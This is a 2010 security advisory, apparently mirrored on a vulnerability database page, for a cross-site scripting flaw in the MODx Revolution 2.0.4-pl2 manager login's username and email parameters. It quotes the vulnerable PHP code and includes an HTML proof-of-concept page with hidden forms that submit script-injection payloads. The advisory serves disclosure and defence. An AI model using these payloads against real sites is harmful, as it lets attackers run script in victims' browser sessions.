Lucene search
K

MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability

🗓️ 06 Dec 2010 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 31 Views

MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability in login.ph

Code
<!--

 Title: MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability


 Vendor: MODx, LLC.
 Product web page: http://www.modxcms.com
 Affected version: 2.0.4-pl2 (public launch 2)

 Summary: MODx Revolution is a powerful PHP Content Management Framework that plays nicely
 with custom code and helps you build sites faster and maintain them with ease. With Revolution
 you'll leverage the best things to come around since MVC and Active Record.

 Desc: The MODx Revolution CMS suffers from a XSS vulnerability when parsing user input to
 the "username" and "email" parameters via POST method in login.php script at the manager
 login interface. Attackers can exploit this weakness to execute arbitrary HTML and script
 code in a user's browser session.


 #############################################################
 -------------------------------------------------------------
 /var/html/www/manager/controllers/default/security/login.php:
 -------------------------------------------------------------

 25:   /* handle login */
 26:   if (!empty($_POST['login'])) {
 27:       $validated = true;
 28:
 29:       $user = $modx->getObject('modUser',array(
 30:           'username' => $_POST['username'],
 31:       ));

 ...

 71:   } else if (!empty($_POST['forgotlogin'])) {
 72:       $c = $modx->newQuery('modUser');
 73:       $c->select(array('modUser.*','Profile.email','Profile.fullname'));
 74:       $c->innerJoin('modUserProfile','Profile');
 75:       $c->where(array(
 76:           'Profile.email' => $_POST['email'],
 77:       ));

 -------------------------------------------------------------


 Tested on: Fedora 10 (Cambridge)
            Apache 2.2.14
            PHP 5.2.10
            MySQL 5.0.88

 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                              liquidworm gmail com
                              Zero Science Lab - http://www.zeroscience.mk

 Advisory ID: ZSL-2010-4982
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4982.php
 Vendor Advisory URL: http://bugs.modx.com/issues/2918

 05.12.2010


 PoC:

--><html>
<head>
<title>MODx Revolution CMS Cross-Site Scripting (XSS) Proof Of Concept Script</title>
<link href="http://www.zeroscience.mk/favicon.ico" rel="Shortcut Icon" type="image/x-icon"/>
</head>
<body background="http://a1.twimg.com/profile_background_images/135331344/twzslbg.jpg">
<br/><br/><center><font color="gray">
<h3><strong>MODx Revolution CMS 2.0.4-pl2 Remote XSS PoC (POST Method)<strong></strong></strong></h3>
</font></center>
<script type="text/javascript">

function zsl_user()
{
  document.forms["modx-login-form"].submit();
}

function zsl_mail()
{
  document.forms["modx-fl-form"].submit();
}

</script>
<div id="The Form Of The Ninja" style="visibility:hidden">
<form action="http://example.com/manager/" enctype="application/x-www-form-urlencoded" id="modx-login-form" method="post" name="hack">
<input name="login_context" type="hidden" value="mgr"/>
<input name="modahsh" type="hidden" value=""/>
<input name="returnUrl" type="hidden" value="/manager/"/>
<input autocomplete="on" class="x-form-text x-form-field" id="modx-login-username" name="username" tabindex="1" type="text" value='"&gt;&lt;script&gt;alert("username param XSSed!")&lt;/script&gt;'/>
<input autocomplete="on" class="x-form-text x-form-field" id="modx-login-password" name="password" tabindex="2" type="password"/>
<input autocomplete="on" checked="checked" class="x-form-checkbox x-form-field" id="modx-login-rememberme" name="rememberme" tabindex="3" type="checkbox" value="1"/>
<input name="login" type="hidden" value="1"/>
</form></div>
<br/><br/>
<a href="javascript: zsl_user();" style="text-decoration:none"><b>
<font color="red"></font></b><center><h3>1. Exploit "username" parameter!
<h3></h3></h3></center></a>
<div id="The Form Of The 2nd Ninja" style="visibility:hidden">
<form action="http://example.com/manager/" enctype="application/x-www-form-urlencoded" id="modx-fl-form" method="post" name="hack">
<input class="x-form-text x-form-field" id="modx-login-email" name="email" type="text" value='"&gt;&lt;script&gt;alert("email param XSSed!")&lt;/script&gt;"'/>
</form></div>
<a href="javascript: zsl_mail();" style="text-decoration:none"><b>
<font color="red"></font></b><center><h3>2. Exploit "email" parameter!
<h3></h3></h3></center></a>
</body>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation